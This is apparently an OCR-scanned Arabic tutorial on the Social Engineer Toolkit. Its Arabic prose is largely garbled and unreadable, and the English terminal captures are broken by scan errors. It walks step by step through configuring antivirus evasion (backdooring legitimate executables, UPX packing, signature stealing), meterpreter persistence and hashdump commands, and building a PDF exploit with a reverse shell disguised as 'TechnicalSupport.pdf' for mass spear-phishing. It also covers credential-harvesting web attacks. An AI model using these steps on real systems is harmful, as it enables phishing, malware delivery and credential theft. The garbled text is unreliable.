J j£Lla AaI jj Cl& L-Lial Ul" ;<1 Cila . Jaxj V Cjaajuai <^J^ (J Ua^a (jl£ j <1 <j^L3JI Jc * Ji Jj^aao ^3 <j| Jli 4 JlaJl ^Jt-uJaJ 
<La^aJl (jl Jj3 (j£3 j ^a jJl (JLlLa jl»_xJl (j-a ^3^^ L>^ ^^>^^ C-!^^ t — * J c . ^ tiLojujl ^Ij^jj jil^J ^ alxll 

.LdLdJ c V^ti ^Ijlkl ^aJ JJJ^ill <j^Ua] IcLdl^l djjC^ du£ ^jJl 

?^UUt ^ Maltego J^U« uLaS 

Jj jUIj) dijjljyi Jc CjU» jlx^JI ^ 5-1 jjj Jajljjll ^l^jjj 6<a^UJI djli djUi jIx-aII <--j^^ o^cliS Maltego J 
^il j-<JIj ^jjj^Jyi ^jJi u^j^* j^*-^ u^ 1 ^*^^ c3^-^^ J-a*-^ j^^^ ^4 ^-^^ Maltego .(qj^ <J^\^ CjUU^II 

JjjJI j jlill 4j&Jti\ i^j^l "EMAIL" ^il^aj (i^jia ^a^J .^'j^ ^>>>J ^ CjlSUaill jl lJ^JI 

^Maltego ^-^^ I2U1 

J jj^^Jl J cii^JI CjIcLuj jjja jjj t^^jjob<Jlj <iajj^<JI cAiLnllj CjU» Jj"^; ^jlj ]Maltego 

^ jll Jc , Maltego J ^lilaJI s jilt ciu^ cAiUJ! djla^lc ^W^j c*Uj J£ -W^j^ ^j^^ j Jc 

,4_jujAAxi (_^^>^l sl^l ^ iajoj jll J^JI ^L^. (j£3 j t]VIaltego a-wjj1-ax» ^L^j 



SET: Social Engineer Toolkit 



https://www.trustedsec.com/ : j^-a^ll 

^ Jj^xJI ^al^klojlj UjAj <J ^alill (jlxiJ Jj^Vl / V.^^ CjljiluJl ^ PDF ji ^JJ^VI ^J^^ L^^J ^^"j J^ W^J^ 

J cjL&^JI ^ ^ jij ^1 j FastTrack ^l^j A T n^ cjIj sbl (> ^Uijl ^ill l^aijjS lAjj I^j&I u^i ^IS sbl ^ SET 
JjLujj JLujjjj PDF i— iI^q ^LouV ^^jc-Uu^-VI aI] ^<uujj <1^joj (JjIjLj CjUjj£jaj SET ^ ^ t — ^ ,l3^j^-^^ jW^-^ 

t jjjiill liA Cij J .(SET) ^cUv>yi (Jjj V^ aII CjI jjt S^V j .l^jfl 4 ni^ll Cjljiiuill ^ ^ JJ^V^ ^J^' 

(j-d til^jaijJ Ajujkl) li^ .AjcI ^I^VI ^ ua>ij^Jl (J^^ Cljl j^I (jxi obi A-jjujLjj AjC^jujJ Cllaaj^ai j (JjJ-d 1.5 L>^ 1 llA^J ^aJ ^3 SET 

\ * ilia jj 4_Lujjj^)3I Jallill (J^asu J^l^-k 

; JU3I ^ jJI J^k (> t^liA^j jSaj SbVl ^ 

https://github.com/trustedsec/social-engineer-toolkit/ 

Running SET i- 

; Jl£ Jj; uSjII ^alSaj J JU31 jLauJI ^UjI J!^k ^ tilli j aLLouj .aI^jo) ^Lc^ SET Jj^ ^ 
Application ^ Kali Linux -> Exploitation Tools ^ Social Engineer Toolkit ^ setoolkit 

.JH. jsll J setoolkit ^ J^ c> jl 
ua u^i^Ml fjL Si tcilli ^ (jilj ^Ull ^aiaxJ aJI^ ^Jal j^fl djbl^VI ^ SET .^!^VI/ojj^3! SET ^Ijj jj^^ J5*ll 

: JVl^ cjIjUsJI <> ^jjSj j-* jjfla Jl ^jjj life (Jl SET J^Liij Hp 
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; ] The Social -Enginee r Toolkit (SET) [-- 

; ] Created by: David Kennedy (ReLIK) [-- 

; ] Ve rsion : 5 . 4 . 2 [ - - 

' ] Codename : 'Walkers' [-- 

] ] Follow us on Twitter: @T rust edSec [-- 

; ] Follow me on Twitter: @HackingDave [-- 

; ] Homepage: https://www.trustedsec.com [-- 

Welcome to the Social -Enginee r Toolkit (SET) . 
The one stop shop for all of your SE needs . 

Join us on irc.freenode.net in channel #setoolkit 

The Social-Engineer Toolkit is a product of TrustedSec. 

Visit: https://www.trustedsec.com 

Select from the menu: 



1) Social -Enginee ring Attacks 

2) Fast -Track Penetration Testing 

3) Third Party Modules 

4) Update the Metasploit Framework 

5) Update the Social -Enginee r Toolkit 

6) Update SET configuration 

7) Help, Credits, and About 

99) Exit the Social -Enginee r Toolkit 



DSffiflD HDD3CEIES 



6 fSjll ^tiS c> ^Vl/<jjj£i31 cjULJ dii^i lUxJ - 
./usr/share/set jl^l ^ ^ j^^JIj i> SET IH^ UB U£j 

SETA*! i- 

.^VLS Ujjjj ^31) £iblJ*VI Jl^V JJ^ q?W config/set_config tiUM ? j& Vji 



root@JANA:/usr/share/set# vim config/set_config 



mmmmmmmmmmmmmmmmmmmmmmmmmmmmmm^m^mmmmmm 
# 

### Define the path to MetaSploit, for example: /pentest /exploit s/f ra mework3 
METASPLOIT_PATH=/us r/sha re/metasploit - f ramewo rk 



■########### 
■########### 



.browser exploit 'file format bugs <payload Metasploit & .Metasploit 



### Define to use Ettercap or not when using website attack only - set to ON and OFF 

ETTERCAP=OFF 

# 

### Ettercap home directory (needed for DNS_spoof) 

ETTERCAP_PATH=/us r/sha re/ette reap 

# 

### Specify what interface you want ettercap or DSNiff to listen on , if nothing will defauV 

ETTERCAP_INTERFACE=et hO 

# 

### Define to use dsniff or not when using website attack only - set to on and off 
### If dsniff is set to on, ettercap will automatically be disabled. 

### Auto detection of IP address interface utilizing Googl 
AUTO DETECT=OFF 



4_jc ja <Lc ja-\ A DNS Poisoning ^ ^jjj Ul^jall 4_jc jill ^y^i ^^ic LoAk. l^l^kiujl Ettercap 

U*J\ 4-^ jill *S*51I ^ ^ <uli 'ETTERCAP=ON Jl ETTERCAP=OFF ^Ul ^ jp ^jjUt <> 



### SendMail 0 


N or OFF for s 


poofing email addresses 


SENDMAIL=OFF 







^ jj^IVI jjjJ! o^j^ <^ cr 131 J 'SENDMAIL ^ JjUj -uli ON jll J) SENDMAIL lU~JI ^ jj 

-LljJaJl ^jj ^.i&rJl dlaaH djlilASU f jij (jl 4-l^uJa3l SMTP f J>&^ ^ J^S .J^**]> 

B( ^al j^l lS^j ^ -uli <^uaij ciL^ .SENDMAIL 



https://www.facebook.com/tibea2004 



|### Set to ON if you want to use Email in conjunction with webattack 

WEBATTACK_EMAIL=OFF 

# 
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A^r^W fj\ ajcU* ^ jj^VI ^jJI j JL-jV l^jU <ON J) WEBATTACK_EMAIL lU~JI ^ 

spear-phishing 3-*^a c> y^JJ^V^ {Web Attack vector) f j?** Cj^U S^lil^uVI 

J| ^jjjj^lVl ^^)^l (J^-^J J^jj (.5^ ^ <Jjou31j 4_l3ljJal L_fljUaj AiLjaU ^jLi L_fl jjuj <jl£ li& ^ ^JJ Ld^ic 1 a 

.tiL j-saLiJl CjLa^JI ^jjjoi^J S^cLuiaII Cj^yL-sa j A-i^jJall 



### Create self-signed Java applets and spoof publisher note this requires you to 
### install — > Java 6 JDK, BT5 or Ubuntu users: apt -get install openj dk-6- j dk 
### If this is not installed it will not work. Can also do: apt -get install sun-j ava6-j dk 
SELF_SIGNED_APPLET=OFF 

fit- 



J^j .ajjUji SET <^ (> ^ ^ J* "Java Applet Attack vector" ^ JaU 

^jujVI (jlS Ul Java ^^^O^ ^ ^ ^a^h ^^ill j ON jft <^ lW-*^ ^ l!^*-^ t^jj,^ <aj j5£l j±u ^ j^g-II 
t^aj ^Microsoft ^ t> f% ^M^Java Applet < Company X ^ jl 511a jtila 

cilli jijjjjl ^i) java's jdk <^3j ^ ( j^u ^ .<i*^ CompanyX ^Applet 

.("apt-get install sun-java6-jdk or openjdk-6-jdk" J^j^l yi Jtill j^JI 



### This flag will set the Java id flag within the Java applet to something different. 
### This could be to make it look more believable or for better obfuscation 
JAVA_ID_PARAM=Verified Trusted and Secure (VERIFIED) 

### Java applet repeater option will continue to prompt theHjsyr'Vrrnh^e^^ 

### the user hits cancel. This means it will be non stop until run is executed. This gives 

### a better success rate for the Java applet attack 

JAVA REPEATER=OFF 



fj t> Applet J "Verified Trusted and Secure" ls ^j^a <java applet ^vim^ l 

Java Applet ^ I j b' ^^lu^l 4_JUxa ^11^ ^1511 jU^JI Java applet ^ 1 qj > ^j a jui 11a j .IP 

4^ j^-Sl 3_aj^c <jj£j t-i jjujj ^cancel (jj* ^^^aII jib LqaIc- aiLo (JjSj l_a jjuj l^i ."(cancel) (jjs ^ j^JI 

.1 jl j£ij I jl j^ (pop up) ^ (> V^j 



### Auto detection of IP address interface utilizing Google, set this ON if you want 
AUTO DETECT=OFF 



^1 jli SET *^VU1I ^ .SET JL^ ^1 iH-Vl j^i i> s^l j ^ jVl Jc AUTO_DETECT J-U-ll 

a£jjoi ^^ic (jj^J V *jij (J^J> aij CjLa^J) ^Saa ^ .IP (jl jic j ^ > >i^r> JU^jI^ tilli aIa^j ml j CjjjljVLj JU^j^U 1^ ^AaJLujj ^^1 

liA ^l^klojl ^tjijj ^ j^Jl ^1^1 jLSjJ AjaLjaVI ^ j^<u Allkijai 'OFF ^^sJl J^uulL dLftS lil .AjlkWl jL^ajVI 

.NAT/Port forwarding j^J-^ IP j cjI^I j ^l^kiujl ^jjj Uik^ J^U^I 



### Specify what port to run the http server off of that serves the j ava applet attack 

### or metasploit exploit. Default is port 80. This also goes if you are using apache_server equal on. 

### You need to specify what port Apache is listening on in order for this to work properly. 

WEB PORT =80 



SET ^jJi ^ cr^ 1 J^ 1 



### Custom exe you want to use for MetaSploit encoding, this usually has better av 
### detection. Currently it is set to legit. binary which is just calc.exe. An example 
### you could use would be putty.exe so this field would be /pathtoexe/putty .exe 
CUSTOM_EXE=legit .binary 
# 



J ^backdoor j* CjUjj^I JjU^ J^a^ 'SET ^ payload encoding ^l^^l ^ 

^LojI Metasploit ^ backdoor <+j J^- Exe .^Hl3 JjIS jUk ^exe malicious payload 

^IjlLU ^ jj U jl£ lil EXE ^ backdoor J^t t> ^ j EXE l9 j^j SET .payload 

.CUSTOM_EXE lUI*JI ^ exe « aHk^> iiiill JAa l^L 



https://www.facebook.com/tibea2004 



### Use Apache instead of the standard Python web server. This will increase the speed 

### of the attack vector. 

APACHE_SERVER=OFF 

# 

### Path to the Apache web root 

APACHE_DIRECTORY=/var/www 

# 
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Java Applet Q."^ f < -i AS S (* J?^^ ^ -^^V (j^aLkll ^ J?£^ ^J^J (> *^ Ala £xa <J-gIxj13 C5 joijIjVI I^LujI J 

4_n*Jj ^jjj ^SLft jS^l) ^^j^jUVI (jli ^(Jj> ujjli djUUjJ ^jiajjiiill ^JjIj j ^jialjiicl ^jjjLujI ^^ic .diL^gJI ^jjjLojI ^^ic Metasploitj 
.{credential harvester) lP^j^ J^j J 'tabnabbing * web jacking l^l^i^l V (^l^ikUj 



### Turn on ssl certificates for set secure communications through web_attack vector 

WEBATTACK_SSL=OFF 

# 

### Path to the pern file to utilize certificates with the web attack vector (required) 
### You can create your own utilizing set, just turn on self_signed_cert 

### If your using this flag, ensure openssl is installed! To turn this on turn SELF_SIGNED_CERT 

Essassr GSffitLO HDC3QDES" 

### Below is the client/server (private) cert, this must be in pern format in order to work 
### Simply place the path you want. For example / root /ssl_client /server .pern 
PEM_CLIENT=/ root/newcert .pern 
PEM_SERVER=/ root /new req . pern 



(Jt^jI SSL cert s^j^ j (j^-^ ^1 lSjt* * ^ ^SsHa ^i^l 4juj^a ^ ^.taL ^ j£i Ui^jc CjVI^JI ^ 

lij u^j .ON WEBATTACK_SSL 0^ J\ ^ ^ U* .SET ^ SSL ^ .-lSI^— jSSi fJ ^l 

j^Jaj c_flj^j "l^j (jjij^ j^" I jji^i ^IUa <j£Ij t^lli jlaj (self-signed certificates) <xzj*l\ ±ji ciu£ 



### Tweak the web 


jacking time used fo 


r the iFrarne replace. 


sometimes it can be a little slow 


### and harder to 


convince the victim. 


5O00 = 5 seconds 




WEBJACKING TIME=2C 


00 




# 









^ j^&W jjoi ^ Ifr^iAji sit) j jUa] A-i^jja3l <~i\a (Jl,\nuiU webjacking ^ ^il 

t*L o-aUJI Ui^l jlS lil VI (a* 5) 5000 j^^W c^j^ ^ J^V 1 ^ ^ u 1 ^ li j 6 ^ j^ 1 ^ W :uls s 

g^jVI (ajjIS 2) 2000 4(^1^11 



### Command center interface to bind to by default it is localhost only. If you want to enable it 

### so you can hit the command center remotely put the interface to 0.0.0.0 to bind to all interfaces. 

C0MMAND_CENTER_INTERFACE=127 .0.0.1 

# 

### Port for the command center 

C0MMAND_CENTER_P0RT=44444 

# 

### How many times SET should encode a payload if you are using standard MetaSploit encoding options 

ENC0UNTM JLjUL^TLT LiUuvJU^L 



ng options 



? l.ik2J L^tji c±£ lij .SET J GUI interface) m^j V> ^j 31 ? i^al l sjjj j ^ The command center 
J-UJI jj^j ^ . COMMAND_CENTER_PORT J-l*-ll ^ Jja-j-H ^ j« li* ^ iii. Ija 

427.0.0.1 %3 ^ lij .SET web interface J COMMAND_CENTER_INTERFACE 



CA^.\ jll Ail£ JaJj flbm tO.0.0.0 <T.,Ja j '< -J jlS lil .(-JJjll i^JJ^ jl«J r jl-a. t> V <ji ^IjJ *-S -Oli 

f> payload j^jj ^1 cjljJI j^c. ENCOUNT . jI^&VI I^a Ijia. (j£ ^jc ^JJ Jjj^jjII j^jj 

.dllil lu2 lia, , jiSi ji Ji J\ lij jSlj <4 uj^ j3*l .SET Metasploit j lk 1 ^ 1 payload 



### If this options i set, the MetaSploit payloads will automatically migrate to 
### notepad once the applet is executed. This is beneficial if the victim closes 
### the browser, however can introduce buggy results when auto migrating. 

### NOTE: This will make bypassuac not work properly. Migrate to a different process to get it to work. 

AUTO_MIGRATE=OFF 

# 
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±\\jh notepad.exe J] Msfe Metasploit payloads ^ ^ 4^ ^ ^ AUTOJMIGRATE 

He ^jia^xjjauJI (j^lc.) ^ tit J-**-^ ^ udl^ ^iiwj c ? *n^> ^jj^aia Sj*j ^l>iaj ual He (j-^Lk J^-^ ^ .meterpreter shell 

.s^iiilt ^t„ 



### Digital signature stealing method must have the pefile Python modules loaded 
### from http ://code .google .com/p/pefile/ . Be sure to install this before turning 
### this flag on! ! ! This flag gives much better AV detection 
DIGITAL_3IGNATURE_STEAL=0FF " 
# 



J jjiiL* jAp l^^ki^j ^^ki^i PEFILE uj^W (digital signature) <y*j^ 

<Jat (j-^js ^ i*vnui I1a dita jVI (j* jjj£ . jb-b Aiiull (Jjla lJsIa Jt Ia^IjjIojI j Microsoft lM* ^j^j^ S^LgJuJt £j3 jj i^L J jjj > no 

.CjLuj jj^I <Jjs (J-g c Luj£ 



### 


These two options will 


turn the upx 


packer to on and automatically attempt 


### 


to pack the executable 


which may ev 


ade anti-virus a little better. 


UPX 


_ENC0DE=0FF 






UPX" 


_PATH=/us r/bin/upx 






# 









lift J .UPX 



(digital signature) J 1 <y*j^ J) 

UPX (J^axJ J J^>-nj L_fl jjui t4_llc JJ*J ^Ij ON J] ^ U^*^ ^ 'J'^'^ C5"^ 



### Here we can run multiple meterpreter scripts once a session is active. This 

### may be important if we are sleeping and need to run persistence, try to elevate 

### permissions and other tasks in an automated fashion. First turn this trigger on 

### then configure the flags. Note that you need to separate the commands by a ; 

METERPRETER_MULTI_SCRIPT=QFF 

LINUX_METERPRETER_MULTI_SCRIPT=OFF 

# 

### What commands do you want to run once a meterpreter session has been established. 
### Be sure if you want multiple commands to separate with a ;. For example you could do 
### run getsystem; run hashdump;run persistence to run three different commands 
METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 3QQ -X -A;getsystem 
LINUX_METERPRETER_MULTI_COMMANDS=uname ; id ; cat ssh/known_hosts 

# rv7mn n n nnnnnm 



liAj .UjIUj I g \ax kjjj ^jj Jit jji (jg& ^meterpreter lUc- ^ - "V (jj^til S-^-tj Sj-* <uMt dljLaJI (Jjj^j *j 

_^Uai3l CjLg jlx-a ^ jVi. Af 4_nsLx» J-atjt lliHj ^ j£j ^jl *l}^)Jj (JjuJ J^ J J 1 ^ 6.1isLLa tiL (j-aLkJt tit llLalt Q jflj 1 0 

METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem 



### This feature will auto embed a img sre tag to a unc path of your attack machine. 
### Useful if you want to intercept the half 1m keys with rainbowtables . What will happen 
### is as soon as the victim clicks the web-page link, a unc path will be initiated 
### and the metasploit capture/smb module will intercept the hash values. 
,UNC EMBEDOFF 



(jc ^LkJU JU-ajVt (JjL^jjuj ttiL (j^aLklt 4-yjJt jai 4_i^jJalt J - ajj La^jc (j^flaj ^t UNC u ^ 1 ^ j ^ UjISIj ti^ 
l^t^ki^tj l^LUBll ^jIxlj challenge/responsesj challenge response ^ cjj^. ^ .c^LJt a£jU^ jjjla 

4_x^.l^>Jt 

SET^ i- 

V aikll ^ilt jljall . jSl^il Cj) j^L j-aVl U^jc- U ^ Xqg jj SAija j t^Uajl! bllLojt a j^Jt Aj^lil <^la ^ SET 

dljl^ tit .dab ^ajj^xkj j ditjLlk j lIjIa jj jUjjoj S^C ( . lllaJJ <jt ^AjcUu^-Vt 4 m.V^lt CjLaaA Cj jAa. ( . IJjuaJ j-qI jVt ^>iajuj ^ <LcaJ 

^j^aLiJt L^^Jt Jj t^Uloat LdU»J ^\ > nj> ,nVi Jc 6j^3t ^a^C j dlLa^Jt ^-Jlxi U^. (jj^J ^ J*JJ ^t jVt jiajuj Jc o.Vnui^ ot^Vt 

.^a J^g-lt (j* jJjUjjoj J£ ^ jU^lklj <J j^lj j t^L^jlfllt J (j^a jij U jC^ ,tilj 

;4_JU3t ^Uilt jj^-Sa Jt cs^jj ^ jjuj 4ila Jli^j^t J setoolkit >«Vt J^U. ^ tiUij SET J^-^ ^ 



https://www.facebook.com/tibea2004 



https : //www. t rust edsec .conn 

The Social -Engineer Toolkit (SET) 
Created by: David Kennedy (ReLIK) 
Version: 5.4.2 
Codename : 'Walkers' 
Follow us on Twitter: @TrustedSec 
Follow me on Twitter: @HackingDave 
Homepage: https : //www. t rust edsec .com 



Welcome to the Social -Enginee r Toolkit (SET). 
The one stop shop for all of your SE needs. 

Join us on irc.freenode.net in channel #setoolkit 



The Social-Engineer Toolkit is a product of TrustedSec. 



Visit: https://www.trustedsec.com 



Select from the menu: 

1) Social -Engineering Attacks 

2) Fast -Track Penetration Testing 

3) Third Party Modules 

4) Update the Metasploit Framework 

5) Update the Social -Enginee r Toolkit 

6) Update SET configuration 

7) Help, Credits, and About 

99) Exit the Social -Engineer Toolkit 
set> | 
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<4 ji^ J&\ ls j^I <*jta J] cillkL lJj^j Social-Engineering Attacks A 1 ^ ^ CjI jU^J! ^ta J^Lk 



[ — J Version: [--■ 

[---] Codename: 'Walkers' [--■ 

[ — ] Follow us on Twitter: @TrustedSec [--■ 

[ — ] Follow me on Twitter: @HackingDave [--■ 

[ — ] Homepage: https://www.trustedsec.com [--■ 

Welcome to the Social -Engineer Toolkit (SET). 
The one stop shop for all of your SE needs. 

Join us on irc.freenode.net in channel #setoolkit 

The Social-Engineer Toolkit is a product of TrustedSec. 

Visit: https://www.trustedsec.com 

Select from the menu: 

1) Spear-Phishing Attack Vectors 

2) Website Attack Vectors 

3) Infectious Media Generator 

4) Create a Payload and Listener 

5) Mass Mailer Attack 

6) Arduino-Based Attack Vector 

7) SMS Spoofing Attack Vector 

8) Wireless Access Point Attack Vector 

9) QRCode Generator Attack Vector 

10) Powershell Attack Vectors 

11) Third Party Modules 

99) Return back to the main menu. 



mm mam 



Spear Phishing with SET ^ 



laj > 11 J L_fl jjoj t flj£ (Jj^ > uJ ^aJ (j-G j Ai^JjoixJl jjj£3Vl (JjLuiJ J^J^ <J^-^ ^^-^ j/^J (ji ((J^ (j^*^^ ^--<<u.nJ SET 

4j1 4lSa^Xi aJ .4_i^uJal3 Clii^k PDF L J^jjj GMAIL ^UliVlj ^ ^LSII JjJAli Jllall liA 

SET fl.v^nl -Aio .sjaUJI ^l^klojl t^i^^j J Jjqun^l CjU^a l^hvi 4_^UJI jail hq^ j ^Uijj <-*\^j 

.reverse Meterpreter j reverse connection back J 443 ujV- j^VI cjbl^&VI 

^ tiLj^j ^AxJI I^a JasuJall ^su .1 jUaJI jUaJ t SET<^ spear phishing ^ j?** 



iet> 1 

The Spearphishing module allows you to specially craft email messages and send 
them to a large (or small) number of people with attached fileformat malicious 
payloads. If you want to spoof your email address, be sure "Sendmail" is in- 
stalled (apt -get install sendmail) and change the config/set_config SENDMAIL=OFF 
flag to SENDMAIL=ON. 

There are two options, one is getting your feet wet and do 
everything for you (option 1), the second is to create your own FileForm 
payload and use it in your own attack. Either way, good luck and enjoy! 

1) Perform a Mass Email Attack 

2) Create a FileFormat Payload 

3) Create a Social -Engineering Template 

99) Return to Main Menu 

^_t,:[:h:.-' r :>| 



*L^V jlSJI y> ^1311 jUkJI .e-mail-based spear phishing ^ jAj ^ jB lJj^ aS^lL <> ^ill jlSJI ja JjVl jUaJI 

dlSj ^ l^l^kloaV L_Jl jS c^ai dip* jA 3 J-P^\ .(^ JJ^V^ AL>^' JjI^J c> ^J^jV l «U jl t*1JVN PDF 



set : phishinq >l 

Select the file format exploit you want. 
The default is the PDF embedded EXE. 

********** PAYLOADS ********** 

1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP) 

2) SET Custom Written Document UNC LM SMB Capture Attack 

3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow 

4) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087) 

5) Adobe Flash Player "Button" Remote Code Execution 

6) Adobe Cool Type SING Table "uniqueName" Overflow 

7) Adobe Flash Player "newfunction" Invalid Pointer Use 

8) Adobe Collab .collect Email Info Buffer Overflow 

9) Adobe Collab .getlcon Buffer Overflow 

10) Adobe JBIG2Decode Memory Corruption Exploit 

11) Adobe PDF Embedded EXE Social Engineering 

12) Adobe util .printf ( ) Buffer Overflow 

13) Custom EXE to VBA (sent via RAR) (RAR required) 

14) Adobe U3D CLODP rog ressiveMeshDecla ration Array Overrun 

15) Adobe PDF Embedded EXE Social Engineering (NOJS) 

16) Foxit PDF Reader v4 . 1 . 1 Title Stack Buffer Overflow 

17) Apple QuickTime PICT PnSize Buffer Overflow 

18) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow 

19) Adobe Reader u3D Memory Corruption Vulnerability 

20) MSCOMCTL ActiveX Buffer Overflow (msl2-Q27) 

at :pavloads>l 



Adobe util.printf () Buffer Overflow 



mm anrannffi 
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1) Windows Reverse TCP Shell 

2) Windows Mete rp ret er Reverse_TCP 

3) Windows Reverse VNC DLL 

4) Windows Reverse TCP Shell (x64) 

5) Windows Mete rp ret er Reverse_TCP (X64) 

6) Windows Shell Bind_TCP (X64) 

7) Windows Meterpreter Reverse HTTPS 

t:Davloads: ~ 



Spawn a command shell on victim and send back to attacker 
Spawn a meterpreter shell on victim and send back to attacker 
Spawn a VNC server on victim and send back to attacker 
Windows X64 Command Shell, Reverse TCP Inline 
Connect back to the attacker (Windows x64) , Meterpreter 
Execute payload and create an accepting port on remote system 
Tunnel communication over HTTP using SSL and use Meterpreter 



2) Windows Meterpreter Reverse_TCP Spawn a meterpreter shell on victim and send back to attacker 

.yi^ll jh&lj dii^k PDF ^ SET .SSL 



set :payloads>2 

> IP address for the payload listener: 192.168.16.1 
set : payloads > Port to connect back on [443] : 443 
[-] Generating fileformat exploit... 
[*] Payload creation complete. 

[*] All payloads get sent to the /root/ . set/template . pdf directory 
[-] As an added bonus, use the file-format creator in SET to c reat 



Right now the attachment will be imported with filename of 'templat 
Do you want to rename the file? 
example Enter the new filename: moo. pdf 

1. Keep the filename, I don't care. 

2. Rename the file, I want to be cool. 

set : phishing >| 



j^ilj TechnicalSupport.pdf JS- ^jJ j& ^ J\ PDF H ^ ^ J ^ I il SET ^ *i 

.(JjalolxJlj <Jjaij>Jl (jA <j£3 ^jJJ^lVl ^^)^ iUi £<J>» (ilia t . illaJ 2 J^J^ <— flL<Jl 



example Enter the new filename: moo. pdf 

1. Keep the filename, I don't care. 

2. Rename the file, I want to be cool. 

set : phishing >2 

set : phishinq > New filename :TechnicalSupport .pdf 
[*] Filename changed, moving on... 

Social Engineer Toolkit Mass E-Mailer 

There are two options on the mass e-mailer, the first would 
be to send an email to one individual person. The second op 
will allow you to import a list and send it to as many peop 
you want within that list . 

What do you want to do: 

1. E-Mail Attack Single Email Address 

2. E-Mail Attack Mass Mailer 

99. Return to main menu. 
set : phishing >| 



mo mm 



set : pi 


iishing>l 




Do 


you want to use a predefine( 


J template or craft 


a t 


3ne time email template. 




1 . 


Pre-Defined Template 




2. 


One-Time Use Email Template 





https://www.facebook.com/tibea2004 
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S^aL^. cJjVI j^^t 



PDF ^ f'V^""^ J jUjm ^ill JJ^lVI ^jJl Jl^jl-J SET ^ -cs^^ ^ J">J^' UJ^J lt1 t5^' J-lnaJl 

< ■ UaJLaLj i PDF <— f J^J (J' ^J^AJ / a^ti £tji3 t a.^ti jj^dijj ^laixJl SET 6 C5"^JJ^V^ J^jj ^ u' ^ 

.SET ^l^loib l^SiUal ^ji^j ^jII cjU^J) <> ajAxJI <> s^lj 
: 1 spear phishing s j j*lb j^l Jlla 

SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP) 

m mLS ?j\£ A^CLal\ ^ J^-gJl dj^lb till (jla^xJ ^aJ ^ j ^ ^aLujJ jjuj ^aSI IP ^jl jJC jLkAl cilia t ■ liLaJ l^jfl j 



set : pavloads >l 



set : payloads > Enter the IP address for the payload ( reverse) : 192 . 168 . 16 . 1 
What payload do you want to generate: 



Name : 



Windows Shell Reverse_TCP 
Windows Reverse_TCP Mete rp ret er 
Windows Reverse_TCP VNC DLL 
Windows Bind Shell 
Windows Bind Shell X64 
Windows Shell Reverse_TCP X64 
Windows Meterpreter Reverse_TCP X64 
Windows Meterpreter All Ports 
Windows Meterpreter Reverse HTTPS 
Windows Meterpreter Reverse DNS 
SE Toolkit Interactive Shell 
SE Toolkit HTTP Reverse Shell 
RATTE HTTP Tunneling Payload 
ShellCodeExec Alphanum Shellcode 
Pylnjector Shellcode Injection 
MultiPylnj ector Shellcode Injection 
Import your own executable 



Desc ription : 

Spawn a command shell on victim and send back to attacker 
Spawn a meterpreter shell on victim and send back to attacker 
Spawn a VNC server on victim and send back to attacker 
Execute payload and create an accepting port on remote system 
Windows x64 Command Shell, Bind TCP Inline 
Windows X64 Command Shell, Reverse TCP Inline 
Connect back to the attacker (Windows x64) , Meterpreter 
Spawn a meterpreter shell and find a port home (every port) 
Tunnel communication over HTTP using SSL and use Meterpreter 
Use a hostname instead of an IP address and spawn Meterpreter 
Custom interactive reverse toolkit designed for SET 
Purely native HTTP shell with AES encryption support 
Security bypass payload that will tunnel all comms over HTTP 
This will drop a meterpreter payload through shellcodeexec 
This will drop a meterpreter payload through Pylnjector 
This will drop multiple Metasploit payloads via memory 
Specify a path for your own executable 



set : pavloads > 



:t5 jVl£ cjljUJI (> ^1 4^ ^ij .Windows Shell Reverse_TCP fW 1 JSU jL^V 1 jUJI jU^ 



?et : p a vl 0 a d s > 1 




Select one of the below, 'backdoored executable 


is typically the best. However, 


most still get picked up by AV . You may need to 


do additional packing/c rypt ing 


in order to get around basic AV detection. 




1) shikata ga nai 




2) No Encoding 




3) Multi -Encode r 




4) Backdoored Executable 




3t : er >B 





^jll j CjULJU <ujta t*U ^ j^j aJUII ^ ^ backdoored lUh U^a <J ^jll j .4 jUl^VI jUiJ 



backdoor ^ 
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set : payloads > PORT of the listener [443] : 

[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds... 

[*] Backdoor completed successfully. Payload is now hidden within a legit executable. 



^xtenstions tc 



mm tiDcaoDES 



The DLL Hijacker vulnerability will allow normal file extenstions to 
call local (or remote) . dll files that can then call your payload or 
executable. In this scenario it will compact the attack in a zip file 
and when the user opens the file extension, will trigger the dll then 
ultimately our payload. During the time of this release, all of these 
file extensions were tested and appear to work and are not patched. This 
will continiously be updated as time goes on. 

Enter the choice of the file extension you want to attack: 

1. Windows Address Book (Universal) 

2. Microsoft Help and Support Center 

3. wscript.exe (XP) 

4. Microsoft Office PowerPoint 2007 

5. Microsoft Group Converter 

6. Safari v5.0.1 

7. Firefox <= 3.6.8 

8. Microsoft PowerPoint 2010 

9. Microsoft PowerPoint 2007 

10. Microsoft Visio 2010 

11 . Microsoft Word 2007 

12. Microsoft Powerpoint 2007 

13. Microsoft Windows Media Encoder 9 

14. Windows 7 and Vista Backup Utility 

15. EnCase 

16. IBM Rational License Key Administrator 



Lo£ dll jin-sll A \ a^') ^aJ (j* j CjLg jlx-<Jl £yz l& j;iC. j L_flLJl ^joj! (J!Lq CjLg (J^asu (jLk^l tills ( . lllaJ ^aJ ,^L<i \ \ jU^Jl 

c^jj^V^ Al>^' ^ 6*^*1* ±\ jal ji ^ jill jj q\ cfi*i spear phishing ? .* j^i c3f^ 

Web Attack Vector *k 

^Ld^jjauJI ^l^iJ L5 c\ <lL^.VI ^jjj^i^ll ^jujj 4il ^ j| ^ jill 11a o .Lila o <!iaLjajjaj!j ^1 ^LudlLaaV SET La£ 
c> 'Website Attack Vectors <2 jW^I ? ^ j SET ^ ? ^ L ^ Jd ^ ^ J ^ ^ >^ J 



set> 2 

ThG Web Attack modulG is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. 

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by 
Thomas Werth to deliver the payload. 

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. 

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the informati 
on posted to the website. 

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different. 

The Web-Jacking Attack method was introduced by white_sheep, Emgent and the Back|Track team. This method utilizes iframe replacements to mak 
